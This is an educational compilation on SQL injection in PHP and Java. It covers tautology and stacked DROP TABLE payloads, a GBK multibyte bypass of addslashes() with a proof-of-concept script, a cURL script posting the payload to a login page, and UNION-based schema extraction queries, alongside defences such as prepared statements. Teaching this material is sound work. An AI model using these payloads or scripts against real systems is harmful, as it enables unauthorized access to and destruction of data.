Basic SQL Injection attack

Basic SQL Injection attack with defence

SQL Injection attack against PHP addslashes

Scenario #1: The application uses untrusted data in the construction of the following vulnerable SQL call:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)):

Query HQLQuery = SESSION.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");

In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ' or '1'='1.

For example: http://example.com/app/accountView?id=' or '1'='1

This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.

Scenario #3: Code to do an insert into the database could also be vulnerable.

$sql = "INSERT INTO Students (Name) VALUES ('" . $studentName . "');";
execute_sql($sql);

The first line creates a string containing an SQL INSERT statement. The content of the $studentName variable is glued into the SQL statement. The second line sends the resulting SQL statement to the database. The pitfall of this code is that outside data, in this case the content of $studentName, becomes part of the SQL statement.

First let's see what the SQL statement looks like if we insert a student named John:

INSERT INTO Students (Name) VALUES ('John');

This does exactly what we want: it inserts John into the Students table.

Now we insert some injection code by setting $studentName to Robert'); DROP TABLE Students;--. The SQL statement becomes:

INSERT INTO Students (Name) VALUES ('Robert'); DROP TABLE Students;--');

This inserts Robert into the Students table. However, the INSERT statement is now followed by a DROP TABLE statement which removes the entire Students table. Ouch!

In GBK, 0xbf27 is not a valid multi-byte character, but 0xbf5c is. Interpreted as single-byte characters, 0xbf27 is 0xbf (¿) followed by 0x27 ('), and 0xbf5c is 0xbf (¿) followed by 0x5c (\).

How does this help? If I want to attempt an SQL injection attack against a MySQL database, having single quotes escaped with a backslash is a bummer. If you're using addslashes(), however, I'm in luck. All I need to do is inject something like 0xbf27, and addslashes() modifies this to become 0xbf5c27, a valid multi-byte character followed by a single quote. In other words, I can successfully inject a single quote despite your escaping. That's because 0xbf5c is interpreted as a single character, not two. Oops, there goes the backslash.

I'm going to use MySQL 5.0 and PHP's mysqli extension for this demonstration. If you want to try this yourself, make sure you're using GBK. I just changed /etc/my.cnf, but that's because I'm testing locally:

/etc/my.cnf

[client]default-character-set=GBK

Create a table called users:

CREATE TABLE users (
  username VARCHAR(32) CHARACTER SET GBK,
  password VARCHAR(32) CHARACTER SET GBK,
  PRIMARY KEY (username));

The following script mimics a situation where only addslashes() (or magic_quotes_gpc) is used to escape the data being used in a query:

<?php 
 
  $mysql = array(); 
 
  $db = mysqli_init();
  $db->real_connect('localhost', 'myuser', 'mypass', 'mydb'); /* SQL Injection Example */
 
  $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';$_POST['password'] = 'guess'; 
 
  $mysql['username'] = addslashes($_POST['username']);
  $mysql['password'] = addslashes($_POST['password']); 
 
  $sql = "SELECT * 
          FROM   users
          WHERE  username = '{$mysql['username']}'
          AND    password = '{$mysql['password']}'"; 
 
  $result = $db->query($sql); 
 
  if ($result->num_rows) {
      /* Success */
  } 
  else 
  {
      /* Failure */
  } 
?>

Despite the use of addslashes(), I'm able to log in successfully without knowing a valid username or password. I can simply exploit the SQL injection vulnerability.

The following PHP cURL script would be able to make use of the injection:

<?php
 
  $url     = "http://www.victimsite.com/login.php";
  $ref     = "http://www.victimsite.com/index.php";
  $session = "PHPSESSID=abcdef01234567890abcdef01";
 
  $ch      = curl_init();
 
  curl_setopt( $ch, CURLOPT_URL,            $url     );
  curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
  curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
  curl_setopt( $ch, CURLOPT_COOKIE,         $session );
  curl_setopt( $ch, CURLOPT_POST,           TRUE     );
  curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                            "OR 1=1/*&submit=1" );
 
  $data = curl_exec( $ch );
 
  print( $data );
  curl_close( $ch );
?>

To avoid this type of vulnerability, use mysql_real_escape_string(), prepared statements, or any of the major database abstraction libraries.

See also http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html

This points out the additional risk associated with changing the character set via an SQL query:

SET CHARACTER SET 'GBK'

Doing so does not affect mysql_real_escape_string(), which will still use ISO-8859-1, just like addslashes().

Just use mysql_set_character_set().

http://dev.mysql.com/doc/refman/5.0...racter-set.html

This function works like the SET NAMES statement, but also sets the value of mysql→charset, and thus affects the character set used by mysql_real_escape_string().

The function in php with mysqli is mysqli_set_charset().

http://www.php.net/manual/en/functi...set-charset.php

The “old” mysql does not support this function :\

<?php
mysql_connect("localhost", "root", "");
mysql_query("SET NAMES gbk") or die(mysql_error());
$file = fopen("test.txt", "w");
fwrite($file, mysql_real_escape_string(chr(0xbf).chr(0x27)));
fclose($file);
?>

Passing the following in as input.

 -1 union all select table_name from information_schema.tables

and now just extract table structure:

SELECT ... WHERE id = -1 UNION ALL SELECT column_name FROM information_schema.column WHERE TABLE_NAME = 0x61727469636c65

• http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

• http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html